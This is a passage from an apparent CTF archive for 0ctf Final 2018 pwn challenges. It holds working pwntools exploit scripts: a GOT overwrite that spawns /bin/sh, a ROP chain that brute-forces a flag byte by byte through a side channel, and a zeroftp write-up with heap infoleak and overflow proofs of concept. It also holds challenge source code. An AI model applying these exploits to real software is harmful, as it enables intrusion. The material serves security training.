log.success("heapbase: 0x%x  sysaddr: 0x%x  code_base: 0x%x"%(heapbase,sysaddr,code_base))

p.sendafter(">>",'2\n')
p.sendafter(">>>",'6\n')
p.sendafter(">>>",p32(code_base+0x2018)+'\n'+'\n')


p.sendafter(">>",'2\n')
p.sendafter(">>>",'0\n')
gdb.attach(p)
p.sendafter(">>>",p32(sysaddr)+'\n'+'\n')

p.sendafter(">>",'2\n')
p.sendafter(">>>",'2\n')
p.sendafter(">>>","/bin/sh;"+'\n'+'\n')

p.interactive()
#0004| 0xffffd0a0 --> 0xffffd074 --> 0x56559040 ("/bin/sh;")



================================================
FILE: 2018/0ctf-final-2018/pwn/blackhole2/solve_blackhole2.py
================================================
from  pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256
import time
dicti='asdfghjklqwertyuiop1234567890zxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM_\{\} ~!@#$%^&*()+`-=|[]\:";\'<>?,./'


# context(log_level='debug')
# p=process('./blackhole2')

# # p=remote('localhost',1234)
def proof_of_work():
	chal=p.recv(16)
	sol = ''.join(random.choice(string.letters+string.digits) for _ in xrange(4))
	while not sha256(chal + sol).hexdigest().startswith('0000'):
		sol = ''.join(random.choice(string.letters+string.digits) for _ in xrange(4))
	p.send(sol)


# gdb.attach(p,'b *0x400a2a\nb *0x400720\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc\nc')
# gdb.attach(p,'b *0x400a2a\nb *0x400720\nc')
def ret2csu(rbx,rbp,r12,r13_rdx,r14_rsi,r15_rdi):
	s=p64(0x400a2a)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13_rdx)+p64(r14_rsi)+p64(r15_rdi)
	s=s+p64(0x400A10) #	call    qword ptr [r12+rbx*8]
	return s
def calc(rbp,ret):
	if ret>(rbp-1)*8:
		return ret-(rbp-1)*8
	else:
		return (~((ret-(rbp-1)*8)-1)^(2**64-1))+1
def pop_rdi(rdi):
	return p64(0x400a33)+p64(rdi)
def pop_rsi_r15(rsi,r15):
	return p64(0x400a31)+p64(rsi)+p64(r15)
def leave_ret():
	return p64(0x400985)
def pop_rbp(rbp):
	return p64(0x4007c0)+p64(rbp)
def pop_rbp():
	return p64(0x4007c0)
def pop_rsp_r13_r14_r15(rsp,r13,r14,r15):
	return p64(0x400a2d)+p64(rsp)+p64(r13)+p64(r14)+p64(r15)
def infinite_loop():
	return ret2csu(0x400a1d,safe_bss,calc(0x400a1d+1,safe_bss-0x100+0x10),trash_place,0x0,safe_bss-0x100)

solve=''
i=0
while True:
	info("The %d byte"%i)
	suc=False
	for char in dicti:
		p=process('./pow.py')
		proof_of_work()
		safe_bss=0x00601800
		trash_place=safe_bss+0x700
		flag_buf=0x601c08
		read_plt=0x400730
		alarm_plt=0x400720
		ret=0x4006b9
		sendstr=''


		payload='a'*0x20+p64(safe_bss)+\
				pop_rdi(0)+pop_rsi_r15(safe_bss-0x100,0)+p64(read_plt)+\
				pop_rdi(0)+pop_rsi_r15(safe_bss,0)+p64(read_plt)+\
				p64(0x400985)
		sendstr=sendstr+payload.ljust(0x100,'\x00')
		# p.send(payload.ljust(0x100,'\x00'))
		sendstr=sendstr+('flag\x00\x00\x00\x00'+p64(alarm_plt)+p64(0x400730)*7+p64(0x400a26)).ljust(0x100,'\x00')
		# p.send(('flag\x00\x00\x00\x00'+p64(alarm_plt)).ljust(0x100,'\x00'))

		payload=p64(read_plt)+ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss),0x1,0x601040,0)+\
				ret2csu(safe_bss-1+0x100,safe_bss+0x100,calc(safe_bss+0x100,safe_bss),0x500,safe_bss+0x100,0)+\
				p64(0)*2+p64(safe_bss+0x100)+p64(0)*4+leave_ret()
				


		sendstr=sendstr+payload.ljust(0x100,'\x00')+'\x05'
		# p.send(payload.ljust(0x100,'\x00'))
		# p.send('\x05')

		# 0x400828 : add byte ptr [rcx], al ; ret
		payload=p64(read_plt)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss),0x2,trash_place,0)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss-0x100+8),trash_place,0x0,safe_bss-0x100)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss),i,trash_place,3)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss),0x1,flag_buf,3)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss),0x3,trash_place,0)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss-0x100+8),trash_place,0x0,safe_bss-0x100)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss),0,0,3)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss),0x2,trash_place,0)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss-0x100+8),trash_place,0x0,safe_bss-0x100)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss),i,trash_place,4)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss),0x0,flag_buf+8,4)+\
				p64(0)*7+p64(0x400a2a)+p64(0xffffffffffffffff)+p64(0xffffffffffffff00|ord(char))+p64(0)*4+p64(0x400a21)+p64(0)*7+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss-0x100+0x10),0x400-0x10,safe_bss,0)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss-0x100+0x10),0x400-0x10,safe_bss,0)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss-0x100+0x10),0x400-0x10,safe_bss,0)+\
				ret2csu(safe_bss-1,safe_bss,calc(safe_bss,safe_bss-0x100+0x10),0x400-0x10,safe_bss,0)



				# //infinite_loop()



		sendstr=sendstr+payload.ljust(0x500,'\x00')+'a'*2+'a'*3+'\x00'

		# time_start=time.time()
		p.send(sendstr.ljust(0x1000,'\x00'))
		# p.send(payload.ljust(0x500,'\x00'))
		# p.send('a'*2)
		# p.recv()
		try:
			p.recv(1)
			p.recv(1,timeout=1)
			solve=solve+char
			suc=True
			print "success for char:%s"%char
			print "\nCurrent solve:%s\n"%solve
			p.close()
			break
		except Exception as e:
			print "failed for char:%s"%char
			p.close()
		
			# time_end=time.time()
	if not suc:
		print "\n[*] Finished!"
		break
	else:
		i=i+1
		# print time_end-time_start
# p.interactive()
print solve

================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/Makefile
================================================
CC = gcc
CFLAG = -g -D_FORTIFY_SOURCE=2 -w -D ZEROFS -D SHELL -D PWN
LDFLAG = -z now
PROG = zeroftp zero_pack md5 zero_utils crc32 zerofs
EXEC = zeroftp

debug: $(EXEC)

zeroftp: $(PROG:=.o)
	$(CC) $(LDFLAG) $^ -o $(EXEC)

%.o: %.c
	$(CC) $(CFLAG) -g -c $< -o $@

clean:
	rm -f $(EXEC) $(PROG:=.o)


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/README.md
================================================
# VTP1 & VTP2 Writeup

VTP means vulnerable transfer protocol. It contains a private protocol implementing part of FTP commands and a filesystem designed by ourself. 

VTP1 and VTP2 shares the same binary and the binary is running on Ubuntu 16.04. For VTP1,  you have to get the first flag by reversing the binary and find out the backdoor. For VTP2,  you have to exploit the bug in the binary and then get shell to find the second flag.  

## VTP1

### Protocol Design

The protocol we designed is described as follows. The magic number is `0xdd`,  and data_length is represented in `big-endian`.  After that is `data`.  At the end of payload,  there is a crc32 of `data`.

```
| magic  | data_length(big endian) | data | check_sum |
| ------ | ----------------------  | ---- | --------- |
```

To make the challenge more interesting,  we define 5 types of `variable` used in the protocol `data`. `Variable` starts with a byte called `info`. `Info` will indicates the type of `variable` and other variable type specified information. 

Detailed Design of `variable` can be described as follows.

```
 bits[0:3] - types

 types:
  1. bool
      bits[3] - value 0 or 1
  2. string
      null terminated
  3. raw
      bits[3] - short raw (0) or long raw (1)
      if short raw
          bits[4:8] - length
      elif long raw 
          bits[4:8] - length of length
  4. int
      bits[4] - endian (0 for little-endian and 1 for big-endian)
      bits[5:8] - length
  5. list
      bits[3:8] - length of length

``` 

For example, 0x9(0b1001) means the data type is boolean and the value is True. Further,  for `raw` if it is a short raw(bits[3]==0),  then bits[4:8] represented the length of `raw` data.  If not, then bits[4:8] represented the length of `raw` data length.

After `variable` is known, we should know how to use `variable` to send a VTP command.

Firstly there are 12 types of command implemented like FTP showed as follows.

```
enum zeroftp_cmd_type {
    ZEROFTP_LOGIN = 1,
    ZEROFTP_LS,
    ZEROFTP_CD,
    ZEROFTP_MKDIR,
    ZEROFTP_RMDIR,
    ZEROFTP_RDFILE,
    ZEROFTP_WRFILE,
    ZEROFTP_RMFILE,
    ZEROFTP_FILEINFO,
    ZEROFTP_SETFILEINFO,
    ZEROFTP_BACKDOOR,
    ZEROFTP_QUIT,
};
```

For example, if you want to send a ZEROFTP_LOGIN command,  `data` should starts with a `command_type` which is represented by `int variable` and its value is `1`. Following the `command_type` is `username(string)` and `password(raw)`.

You can check The following whole VTP commands specification.

```
LOGIN 		: command_type(int) + username(string) + password(raw)
LS 			: command_type(int) + filename(string)
CD 			: command_type(int) + dirname(string)
MKDIR 		: command_type(int) + dirname(string)
RMDIR 		: command_type(int) + dirname(string)
RDFILE 		: command_type(int) + filename(string)
WRFILE 		: command_type(int) + filename(string) + file_content(raw)
RMFILE 		: command_type(int) + filename(string)
FILEINFO 	: command_type(int) + filename(string) + fileinfo_type(int, optional)
SETFILEINFO : command_type(int) + filename(string) + fileinfo_type(int) + fileinfo(string or int)
BACKDOOR 	: command_type(int) + filename(string)
```

## Backdoor

Now to get the flag of VTP1,  you should use `BACKDOOR` command. `BACKDOOR` will read the file which is specified by the filename in the VTP command, in the server's real filesystem  and write the content to the self-made fs. But as you know, flag is stored as `here_is_your_flag/flag`, so you have to use `MKDIR` to make a directory called `here_is_your_flag` in the self-made fs before using `BACKDOOR`. Afterwards use `RDFILE` and get your first flag of VTP!

### Exploit

Here is PoC for VTP1

```
zeroftp_login('admin', 'admin')
zeroftp_mkdir('here_is_your_flag')
zeroftp_backdoor("here_is_your_flag/flag")
flag = zeroftp_rdfile("here_is_your_flag/flag")
log.info('get the flag:{}'.format(flag))
```

## VTP2

For challenge 2, you're preferred to get shell to get the second flag. There are two intended bugs lies on the binary.

### Infoleak (bug1)

The first one is, when unpacking `variable`, VTP won't check whether the length of `variable` will exceed the `data`, which means when you send a `variable`, you can set the length in `info` longer than the real following data length.

For example, we can send a `raw` as follows.

```
b4 00 00 10 00 00 41 41 41 41
```

But how to exploit the bug? Just use `WRFILE`, and forge the file content(`raw`) as above. Then VTP will write the filecontent containing `AAAA` and other data lies on heap behind `data`. Then we will get a infoleak after using `RDFILE`.

Here is the PoC for infoleak. Heap address and libc address can be leaked.

```
def leak():
    zeroftp_login('admin', 'admin')

    zeroftp_wrfile('X'*0x100, 'x'*0x100)
    zeroftp_rmfile('X'*0x100)

    payload  = zero_pack_int(0x7, endian='big')
    payload += zero_pack_string('Y'*8)
    # raw
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 3)
    len_len = (len(bin(0xf0)[2:])-1)/8+1
    raw_len= pack(0xf0, 8*len_len, endian='little')
    info = BITS_SET_VAL(info, 3, 4, 1)
    info = BITS_SET_VAL(info, 4, 8, len_len)
    payload += chr(info)
    payload += raw_len
    payload += 'bbbbbbbb'
    zero_send(payload)
    ret = zero_recv()

    ret = zeroftp_rdfile('Y'*8)
    libc.address = u64(ret[0x2a:][:8]) - 0x3c4b98
    heap = u64(ret[0x2a+8:][:8]) - 0x470
    log.info(hex(libc.address))
    log.info(hex(heap))
    zeroftp_rmfile('Y'*0x8)
    return libc.address, heap
```

### buffer overflow (bug2)

The other intended one is that a buffer overrun will be invoked if you opened enough files and don't close them.

Before explaining details about this bug, we should have a little knowledge of some important structures of the self-made filesystem(The structures defined in our self-made filesystem are similar to those of popular filesystems). 

Those structures are listed as follows. For each file,  VTP use `struct fnode_t` to record its attributes and use `zerofs_state->io_files` to record all of the opened file descriptor.

```
typedef struct fnode_t {
    union {
        struct fnode_t *child;
        long int inumber;
    } info;
    perm_t perm;
    file_t type;
    time_t createTime;
    time_t modifyTime;
    long int userId;
    struct fnode_t *parent;
    struct fnode_t *brother;
    char *name;
} fnode_t;

typedef struct IOFile {
    long int cur;
    fnode_t *fnode;
    int flags;
} IOFile;

typedef struct {
    long int userId;
    char *username;
    zerofs_disk *disk;
    fnode_t *root;
    fnode_t *pwd;
    IOFile *io_files[FD_MAX];
} zerofs_state;
```

Now here is the pseudocode of the buggy function. 

```
__int64 __fastcall insert_IOFile_4056D5(__int64 a1)
{
  int fd; // [rsp+14h] [rbp-4h]

  for ( fd = 0; state->io_files[fd]); ++fd )
    ;
  state->io_files[fd] = io_file;
  return fd;
}
```

Here fd is used as index of `state->io_files` to store `IOFILE` structure pointers. So if we create enough files and dont't close them, state->io_files buffer will be overflowed and `IOFILE` structure pointer will be written to the next chunks on the heap(state->io_files lies on heap).

Before exploiting the bug, we still need a command which won't close fd. Yeah, It's `RDFILE`.

Now by using `RDFILE` continuously, io_file will be written to the area that was originally zero.

### Exploit

Since the field `brother` of `fnode_t` may be zero, we can try to overwrite it with `IOFILE` structure pointer.

After opened 0x2e files, the next opening file operation will lead to the first file's fnode's `brother` field being written as io_file pointer, which means we are able to forge a fnode now. Since the size of `IOFILE` is 0x20 and the size of `fnode_t` is 0x50, we can forge the first 0x20 bytes of fnode by controling `IOFILE` and forge the next 0x30 bytes by controling the following chunk's content. Luckily, the following 0x30 bytes is the head of "root fnode". 

But how to get an arbitrary writing? My idea is to control `name` field of the forged fnode and then rename the file relating to the forged fnode. It's easy to control field `name` by using `setfileinfo('/', 5, 0xdeadbeefdeadbeef)` where `5` means modifytime, one arttribute of the file. 

Now we have realized arbitrary write and have the knowledge of the libc address and heap address. Just prepare a `_IO_jump_t` filled with `magic system` on heap and overwrite `vtable` field of stdout to point to the forged vtable to get shell.

PoC is showed as follows. 

```
for i in xrange(0x2e):
    zeroftp_wrfile('%08d' % i, 'x'*0x10)
for i in xrange(0x1e):
    zeroftp_rdfile('%08d' % (i+0x10))

zeroftp_wrfile('%08d' % 0x2e, p64(libc.address+0x4526a)*32)
zeroftp_rdfile('%08d' % 0x2e)

zeroftp_setfileinfo('/', 2 , heap + 0x110)
zeroftp_setfileinfo('/', 4 , 0)
zeroftp_setfileinfo('/', 5 , libc.address+0x3c56f8)
zeroftp_setfileinfo(p64(libc.address+0x3c36e0)[:6], 0, p64(heap+0x1b90))

```


[exp.py](https://github.com/ZhangZhuoSJTU/MyCTF/blob/master/2018/0CTF_Final/zeroftp/exp.py) 
[source code](https://github.com/ZhangZhuoSJTU/MyCTF/tree/master/2018/0CTF_Final/zeroftp)


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/crc32.c
================================================
/*----------------------------------------------------------------------------*\
 *  CRC-32 version 2.0.0 by Craig Bruce, 2006-04-29.
 *
 *  This program generates the CRC-32 values for the files named in the
 *  command-line arguments.  These are the same CRC-32 values used by GZIP,
 *  PKZIP, and ZMODEM.  The Crc32_ComputeBuf() can also be detached and
 *  used independently.
 *
 *  THIS PROGRAM IS PUBLIC-DOMAIN SOFTWARE.
 *
 *  Based on the byte-oriented implementation "File Verification Using CRC"
 *  by Mark R. Nelson in Dr. Dobb's Journal, May 1992, pp. 64-67.
 *
 *  v1.0.0: original release.
 *  v1.0.1: fixed printf formats.
 *  v1.0.2: fixed something else.
 *  v1.0.3: replaced CRC constant table by generator function.
 *  v1.0.4: reformatted code, made ANSI C.  1994-12-05.
 *  v2.0.0: rewrote to use memory buffer & static table, 2006-04-29.
 *  v2.1.0: modified by Nico, 2013-04-20
 \*----------------------------------------------------------------------------*/

#include "crc32.h"

/*----------------------------------------------------------------------------*\
 *  NAME:
 *     Crc32_ComputeBuf() - computes the CRC-32 value of a memory buffer
 *  DESCRIPTION:
 *     Computes or accumulates the CRC-32 value for a memory buffer.
 *     The 'inCrc32' gives a previously accumulated CRC-32 value to allow
 *     a CRC to be generated for multiple sequential buffer-fuls of data.
 *     The 'inCrc32' for the first buffer must be zero.
 *  ARGUMENTS:
 *     inCrc32 - accumulated CRC-32 value, must be 0 on first call
 *     buf     - buffer to compute CRC-32 value for
 *     bufLen  - number of bytes in buffer
 *  RETURNS:
 *     crc32 - computed CRC-32 value
 *  ERRORS:
 *     (no errors are possible)
 \*----------------------------------------------------------------------------*/

unsigned long crc32_compute(unsigned long inCrc32, const void *buf, size_t bufLen) {
    static const unsigned long crcTable[256] = {
        0x00000000,0x77073096,0xEE0E612C,0x990951BA,0x076DC419,0x706AF48F,0xE963A535,
        0x9E6495A3,0x0EDB8832,0x79DCB8A4,0xE0D5E91E,0x97D2D988,0x09B64C2B,0x7EB17CBD,
        0xE7B82D07,0x90BF1D91,0x1DB71064,0x6AB020F2,0xF3B97148,0x84BE41DE,0x1ADAD47D,
        0x6DDDE4EB,0xF4D4B551,0x83D385C7,0x136C9856,0x646BA8C0,0xFD62F97A,0x8A65C9EC,
        0x14015C4F,0x63066CD9,0xFA0F3D63,0x8D080DF5,0x3B6E20C8,0x4C69105E,0xD56041E4,
        0xA2677172,0x3C03E4D1,0x4B04D447,0xD20D85FD,0xA50AB56B,0x35B5A8FA,0x42B2986C,
        0xDBBBC9D6,0xACBCF940,0x32D86CE3,0x45DF5C75,0xDCD60DCF,0xABD13D59,0x26D930AC,
        0x51DE003A,0xC8D75180,0xBFD06116,0x21B4F4B5,0x56B3C423,0xCFBA9599,0xB8BDA50F,
        0x2802B89E,0x5F058808,0xC60CD9B2,0xB10BE924,0x2F6F7C87,0x58684C11,0xC1611DAB,
        0xB6662D3D,0x76DC4190,0x01DB7106,0x98D220BC,0xEFD5102A,0x71B18589,0x06B6B51F,
        0x9FBFE4A5,0xE8B8D433,0x7807C9A2,0x0F00F934,0x9609A88E,0xE10E9818,0x7F6A0DBB,
        0x086D3D2D,0x91646C97,0xE6635C01,0x6B6B51F4,0x1C6C6162,0x856530D8,0xF262004E,
        0x6C0695ED,0x1B01A57B,0x8208F4C1,0xF50FC457,0x65B0D9C6,0x12B7E950,0x8BBEB8EA,
        0xFCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0xFBD44C65,0x4DB26158,0x3AB551CE,
        0xA3BC0074,0xD4BB30E2,0x4ADFA541,0x3DD895D7,0xA4D1C46D,0xD3D6F4FB,0x4369E96A,
        0x346ED9FC,0xAD678846,0xDA60B8D0,0x44042D73,0x33031DE5,0xAA0A4C5F,0xDD0D7CC9,
        0x5005713C,0x270241AA,0xBE0B1010,0xC90C2086,0x5768B525,0x206F85B3,0xB966D409,
        0xCE61E49F,0x5EDEF90E,0x29D9C998,0xB0D09822,0xC7D7A8B4,0x59B33D17,0x2EB40D81,
        0xB7BD5C3B,0xC0BA6CAD,0xEDB88320,0x9ABFB3B6,0x03B6E20C,0x74B1D29A,0xEAD54739,
        0x9DD277AF,0x04DB2615,0x73DC1683,0xE3630B12,0x94643B84,0x0D6D6A3E,0x7A6A5AA8,
        0xE40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1,0xF00F9344,0x8708A3D2,0x1E01F268,
        0x6906C2FE,0xF762575D,0x806567CB,0x196C3671,0x6E6B06E7,0xFED41B76,0x89D32BE0,
        0x10DA7A5A,0x67DD4ACC,0xF9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5,0xD6D6A3E8,
        0xA1D1937E,0x38D8C2C4,0x4FDFF252,0xD1BB67F1,0xA6BC5767,0x3FB506DD,0x48B2364B,
        0xD80D2BDA,0xAF0A1B4C,0x36034AF6,0x41047A60,0xDF60EFC3,0xA867DF55,0x316E8EEF,
        0x4669BE79,0xCB61B38C,0xBC66831A,0x256FD2A0,0x5268E236,0xCC0C7795,0xBB0B4703,
        0x220216B9,0x5505262F,0xC5BA3BBE,0xB2BD0B28,0x2BB45A92,0x5CB36A04,0xC2D7FFA7,
        0xB5D0CF31,0x2CD99E8B,0x5BDEAE1D,0x9B64C2B0,0xEC63F226,0x756AA39C,0x026D930A,
        0x9C0906A9,0xEB0E363F,0x72076785,0x05005713,0x95BF4A82,0xE2B87A14,0x7BB12BAE,
        0x0CB61B38,0x92D28E9B,0xE5D5BE0D,0x7CDCEFB7,0x0BDBDF21,0x86D3D2D4,0xF1D4E242,
        0x68DDB3F8,0x1FDA836E,0x81BE16CD,0xF6B9265B,0x6FB077E1,0x18B74777,0x88085AE6,
        0xFF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0xF862AE69,0x616BFFD3,0x166CCF45,
        0xA00AE278,0xD70DD2EE,0x4E048354,0x3903B3C2,0xA7672661,0xD06016F7,0x4969474D,
        0x3E6E77DB,0xAED16A4A,0xD9D65ADC,0x40DF0B66,0x37D83BF0,0xA9BCAE53,0xDEBB9EC5,
        0x47B2CF7F,0x30B5FFE9,0xBDBDF21C,0xCABAC28A,0x53B39330,0x24B4A3A6,0xBAD03605,
        0xCDD70693,0x54DE5729,0x23D967BF,0xB3667A2E,0xC4614AB8,0x5D681B02,0x2A6F2B94,
        0xB40BBE37,0xC30C8EA1,0x5A05DF1B,0x2D02EF8D
    };
    unsigned long crc32;
    unsigned char *byteBuf;
    size_t i;

    /** accumulate crc32 for buffer **/
    crc32 = inCrc32 ^ 0xFFFFFFFF;
    byteBuf = (unsigned char*) buf;
    for (i = 0; i < bufLen; i++) {
        crc32 = (crc32 >> 8) ^ crcTable[(crc32 ^ byteBuf[i]) & 0xFF];
    }
    return crc32 ^ 0xFFFFFFFF;
}


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/crc32.h
================================================
#ifndef CRC32_H_
#define CRC32_H_

#include <stdio.h>
#include <stdlib.h>

#define CRC_BUFFER_SIZE  8192

unsigned long crc32_compute(unsigned long inCrc32, const void *buf, size_t bufLen);

#endif


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/enc_sock.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <openssl/bn.h>
#include "enc_sock.h"

#ifdef DEBUG
#define LOG(...) printf(__VA_ARGS__)
#define LOG_ERROR(...) perror(__VA_ARGS__)
#else
#define LOG(...)
#define LOG_ERROR(...)
#endif

uc key[P_BITLEN/8] = {0};
uc s[258] = {0};

void zero_error(const char*s)
{
    LOG_ERROR(s);
    exit(1);
}

void init_rc4()
{
    int i;
    uc k[256];
    uc tmp, j = 0;
    for (i = 0; i < 256; ++i)
    {
        s[i] = i;
        k[i] = key[i%(P_BITLEN/8)];
    }
    for (i = 0; i < 256; ++i)
    {
        j += s[i] + k[i];
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void crypt(uc *data, size_t len)
{
    size_t k;
    uc t, tmp;
    for (k = 0; k < len; ++k)
    {
        s[256] += 1;
        s[257] += s[s[256]];
        tmp = s[s[256]];
        s[s[256]] = s[s[257]];
        s[s[257]] = tmp;
        t = s[s[256]] + s[s[257]];
        data[k] ^= s[t];
    }
}

void init_dh()
{
    BIGNUM *g, *x, *p;
    FILE *rand_fp;
    char recv_buf[P_BITLEN/4+1];
    char *hex_buf;

    BN_CTX *ctx = BN_CTX_new();
    BN_CTX_start(ctx);
    x = BN_CTX_get(ctx);
    p = BN_CTX_get(ctx);
    g = BN_CTX_get(ctx);
    BN_hex2bn(&p, P);
    BN_hex2bn(&g, G);
    BN_rand(x, P_BITLEN-1, 0, 0);
#ifdef DEBUG
    printf("x: "); BN_print_fp(stdout, x);puts("");
#endif
    BN_mod_exp(g, g, x, p, ctx);
#ifdef DEBUG
    printf("gx: "); BN_print_fp(stdout, g);puts("");
#endif
    hex_buf = BN_bn2hex(g);
    write(1, hex_buf, strlen(hex_buf));
    OPENSSL_free(hex_buf);
    bzero(recv_buf, P_BITLEN/4+1);
    read(0, recv_buf, P_BITLEN/4);
    if (!BN_hex2bn(&g, recv_buf))
    {
        LOG("BN_hex2bn failed.");
        exit(1);
    }
#ifdef DEBUG
    printf("gy: "); BN_print_fp(stdout, g);puts("");
#endif
    BN_mod_exp(g, g, x, p, ctx);
#ifdef DEBUG
    printf("key: "); BN_print_fp(stdout, g);puts("");
#endif
    BN_bn2bin(g, key);
    // printf("%llx\n", *(long long unsigned*)key);

    BN_CTX_end(ctx);
    BN_CTX_free(ctx);
}

void zero_send(void* buf, size_t len)
{
    uc tmp_buf[1024];
    ssize_t res;
    size_t buf_len;
    while (len)
    {
        if (len > 1024)
            buf_len = 1024;
        else
            buf_len = len;
        memcpy(tmp_buf, buf, buf_len);
        crypt(tmp_buf, buf_len);
        res = write(1, tmp_buf, buf_len);
        if (res < 0)
            zero_error("write");
        buf += res;
        len -= res;
    }
}

void zero_recv(void* buf, size_t len)
{
    ssize_t res;
    while (len)
    {
        res = read(0, buf, len);
        if (res <= 0)
            zero_error("read");
        crypt(buf, res);
#ifdef DEBUGGG
        int i;
        printf("len: %d; ", len);
        for (i = 0; i < res; ++i)
            printf("%02x", *(uc*)(buf+i));
#endif
        buf += res;
        len -= res;
    }
#ifdef DEBUGGG
    printf("\n");
#endif
}



================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/enc_sock.h
================================================
/*************************************************************************
	> File Name: enc_sock.h
	> Author: 
	> Mail: 
	> Created Time: Thu 03 May 2018 10:40:10 AM CST
 ************************************************************************/

#ifndef _ENC_SOCK_H
#define _ENC_SOCK_H

#define P_BITLEN 1024
#define P "ab1b141539b31ec6468724ad0c42d177e72f17649cfc4677ca415cfeacd792e3a32c9e4f3f9c5fc0bb95fa651b4edbbe484929d8c9991bf2b00019b4e53d26bf321c6a5b4b9efe010300a696a812869f87f4d4d1ac074b505137ac0c2e0567395d7dde02f517a7cfff8021049ba5733b974e87b459b054199c6ae600414539b7"
#define G "f"

typedef unsigned char uc;

void init_dh();

void init_rc4();

void zero_send(void *, size_t);

void zero_recv(void *, size_t);

#endif


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/exp.py
================================================
#!/usr/bin/env python
# encoding: utf-8

__author__  = 'b1gtang'

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

BINARY = './zeroftp'
LIBC64 = './libc-2.23.so'

code = ELF(BINARY)
libc = ELF(LIBC64)

r = process(BINARY, env={'LD_PRELOAD':LIBC64})
#r = remote('192.168.201.15', 13345)

def attach(addr):
    if addr < 0x400000:
        addr = addr + 0x555555554000
    gdb.attach(r, gdbscript='b *0x%x' % addr)

#### pack
BITS = lambda byte, start, end:((byte>>start)&((1<<(end-start))-1))
BITS_SET = lambda byte, pos: byte|(1<<pos)
BITS_CLR = lambda byte, pos: byte&(~(1<<pos))
BITS_SET_VAL = lambda byte, start, end, val:((byte)&\
(~(((1<<(end-start))-1)<<start))|\
(val<<start))

def zero_pack_bool(data):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 1)
    info = BITS_SET_VAL(info, 3, 4, data)
    payload = chr(info)
    return payload

def zero_unpack_bool(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types == 1
    data = BITS(zero_info, 3, 4)
    if len(payload) == 1:
        return data
    else:
        return data, payload[1:]

def zero_pack_string(data):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 2)
    payload  = chr(info)
    payload += data
    payload += '\x00' # null terminal
    return payload

def zero_unpack_string(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0 ,3)
    assert zero_basic_types == 0x2
    data = payload[1:1+payload.index('\x00')]
    if len(payload) == 1 + len(data):
        return data[:-1]
    else:
        return data[:-1], payload[1+len(data):]

def zero_pack_raw(data):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 3)
    if len(data) <= 15:
        info = BITS_SET_VAL(info, 3, 4, 0)
        info = BITS_SET_VAL(info, 4, 8, len(data))
        payload  = chr(info)
        payload += data
    else:
        len_len = (len(bin(len(data))[2:])-1)/8+1
        raw_len= pack(len(data), 8*len_len, endian='little')
        info = BITS_SET_VAL(info, 3, 4, 1)
        info = BITS_SET_VAL(info, 4, 8, len_len)
        payload  = chr(info)
        payload += raw_len
        payload += data
    return payload

def zero_unpack_raw(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3);
    assert zero_basic_types == 3
    zero_raw_type = BITS(zero_info, 3, 4)
    zero_raw_len  = BITS(zero_info, 4, 8)
    raw_len = 0 
    if (zero_raw_type == 0):
        data = payload[1:1+zero_raw_len]
    else:
        raw_len = unpack(payload[1:1+zero_raw_len], 8*zero_raw_len, endian='little')
        data = payload[1+zero_raw_len:1+zero_raw_len+raw_len]
    if len(payload) == 1 + zero_raw_len + raw_len:
        return data
    else:
        return data, payload[1+len(data):]

def zero_pack_int(data, endian):
    int_len = (len(bin(data)[2:])-1)/8+1
    payload = pack(data, 8*int_len, endian=endian)
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 4)
    info = BITS_SET_VAL(info, 4, 5, int(endian == 'big'))
    info = BITS_SET_VAL(info, 5, 8, int_len-1)
    #print 'xxxxxxxxxx',hex(int_len)
    #print 'xxxxxxxxxx',hex(info)
    payload = chr(info) + payload
    return payload

def zero_unpack_int(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types == 4
    zero_int_type = BITS(zero_info, 3, 4)
    zero_int_len = BITS(zero_info, 5, 8)+1
    zero_int_endian = BITS(zero_info, 4, 5)
    data = unpack(payload[1:1+zero_int_len], 8*zero_int_len, endian='big' if
                zero_int_endian == 1 else 'little')
    if len(payload) == 1 + zero_int_len:
        return data
    else:
